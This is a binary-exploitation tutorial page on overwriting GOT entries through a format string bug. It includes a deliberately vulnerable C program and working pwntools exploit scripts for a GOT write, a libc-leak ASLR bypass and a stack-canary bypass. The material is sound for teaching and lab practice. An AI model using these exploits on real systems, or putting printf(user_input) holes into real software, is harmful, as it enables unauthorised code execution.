> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/15.-got-overwrite-fsv.md).

# 0x14 — GOT Overwrite Attack Using Format String Vulnerability

## Overview

A **GOT Overwrite** combines the format string arbitrary write primitive (`%n`) with the GOT's writable function pointers to redirect execution. When a vulnerable program calls `printf(user_input)` and also uses other libc functions (like `puts`, `exit`, `strlen`), you can overwrite a GOT entry so the next call to that function instead jumps to your target (e.g., `system`, a win function, or a one\_gadget).

***

## Why the GOT?

* GOT entries are **writable** (with Partial RELRO)
* They hold **function pointers** used on every libc call
* Overwriting `got['puts']` with `system` means: next `puts(arg)` = `system(arg)`
* If the program later calls `puts("/bin/sh")` → you get a shell

***

## Requirements

| Requirement        | Needed for                             |
| ------------------ | -------------------------------------- |
| Format string vuln | Arbitrary write primitive              |
| Partial RELRO      | GOT is writable                        |
| libc leak (maybe)  | If overwriting with libc function addr |
| Known GOT addr     | Target address to overwrite            |

Check with:

```bash
checksec --file=./vuln
# RELRO: Partial RELRO  ← GOT is writable ✅
# RELRO: Full RELRO     ← GOT is read-only ❌
```

***

## Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void win() {
    system("/bin/sh");
}

void vuln() {
    char buf[256];
    puts("Input:");
    fgets(buf, 256, stdin);
    printf(buf);          // format string vulnerability
    puts("Done.");        // ← this call to puts will be hijacked
}

int main() {
    vuln();
    return 0;
}
```

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
checksec --file=./vuln
```

### Goal: Overwrite `got['puts']` with address of `win()`

***

## Step 1: Gather Addresses

```python
from pwn import *

elf = ELF('./vuln')

puts_got  = elf.got['puts']    # address of puts GOT entry (pointer location)
win_addr  = elf.sym['win']     # address of win() function

print(f"puts@got = {hex(puts_got)}")
print(f"win()    = {hex(win_addr)}")
```

***

## Step 2: Find Format String Offset

```python
def find_offset():
    for i in range(1, 50):
        p = process('./vuln')
        p.sendlineafter(b'Input:\n', f'AAAA.%{i}$p'.encode())
        data = p.recvall(timeout=1)
        p.close()
        if b'0x41414141' in data:
            print(f"Offset: {i}")
            return i

offset = find_offset()
```

***

## Step 3: Build GOT Overwrite Payload

Using pwntools `fmtstr_payload`:

```python
from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')

offset   = 8            # your found offset
puts_got = elf.got['puts']
win_addr = elf.sym['win']

payload = fmtstr_payload(offset, {puts_got: win_addr})

p.sendlineafter(b'Input:\n', payload)

# Now when vuln() calls puts("Done."), it calls win() instead → shell!
p.interactive()
```

***

## Step 4: Full Exploit with libc Leak (ASLR Bypass)

When `win()` doesn't exist and you need to overwrite with `system`:

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

offset = 8

### Stage 1: Leak libc via format string read ###
def leak_addr(addr):
    fmt = f'%{offset}$s|||'.encode()
    pad = b'A' * ((8 - len(fmt) % 8) % 8)
    payload = fmt + pad + p64(addr)
    p.sendlineafter(b'Input:\n', payload)
    data = p.recvuntil(b'|||')[:-3]
    return u64(data.ljust(8, b'\x00'))

leaked_puts = leak_addr(elf.got['puts'])
libc.address = leaked_puts - libc.sym['puts']
log.success(f"libc base: {hex(libc.address)}")

### Stage 2: Overwrite got['puts'] with system ###
system_addr = libc.sym['system']
puts_got    = elf.got['puts']

payload2 = fmtstr_payload(offset, {puts_got: system_addr})
p.sendlineafter(b'Input:\n', payload2)

### Stage 3: Trigger system("/bin/sh") ###
# The program calls puts("Done.") → system("Done.") — won't give shell
# Better: find a call to puts with a user-controlled argument
# OR: overwrite got['puts'] and ensure /bin/sh is the argument

# If the program loops and calls puts(user_input):
p.sendlineafter(b'Input:\n', b'/bin/sh\x00')
p.interactive()
```

***

## Overwrite Other GOT Entries

Different functions are better targets depending on what's called with attacker-controlled input:

| Target GOT entry   | Why useful                                      |
| ------------------ | ----------------------------------------------- |
| `puts`             | Often called with user data: `puts(buf)`        |
| `printf`           | Called with user data in many programs          |
| `exit`             | Called with `exit(0)` — overwrite to win()      |
| `strlen`           | Often called on user input                      |
| `free`             | Called on heap chunks (useful in heap exploits) |
| `__stack_chk_fail` | Called when canary fails — redirect to win      |

***

## Overwriting `__stack_chk_fail` (Canary Bypass)

If the binary has stack canaries, you can overwrite `got['__stack_chk_fail']` with `win()`:

```python
stack_chk_got = elf.got['__stack_chk_fail']
payload = fmtstr_payload(offset, {stack_chk_got: win_addr})

# Then trigger a stack overflow to corrupt the canary
# → __stack_chk_fail is called → win() runs instead
```

***

## Debugging Tips

```bash
# Check current GOT values in GDB
gdb ./vuln
> got
> b *vuln+50     # breakpoint before printf call
> x/gx &puts@got.plt   # examine GOT entry before and after exploit
```

***

## Key Takeaways

* GOT Overwrite = arbitrary write to a GOT entry = full control over libc function calls
* `fmtstr_payload(offset, {got_entry: new_addr})` is the clean pwntools way
* Requires Partial RELRO (Full RELRO blocks this)
* Best targets: functions called with attacker-controlled arguments after the write
* If no convenient `puts(user_buf)` exists, overwrite `exit` or `__stack_chk_fail`
* With ASLR: first leak libc, then compute `system` address, then overwrite

***

## Checklist

* [ ] RELRO is Partial (not Full)
* [ ] Identified which GOT entry to overwrite
* [ ] Found the format string offset
* [ ] Identified libc base if needed (via GOT leak)
* [ ] Confirmed the overwritten function is called with a useful argument after the write
